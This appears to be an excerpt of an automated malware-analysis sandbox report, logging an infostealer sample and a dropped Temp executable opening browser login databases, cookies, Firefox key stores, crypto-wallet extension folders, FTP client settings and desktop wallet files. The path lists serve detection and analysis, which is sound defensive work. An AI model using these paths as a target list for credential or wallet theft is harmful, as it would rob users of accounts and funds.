Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
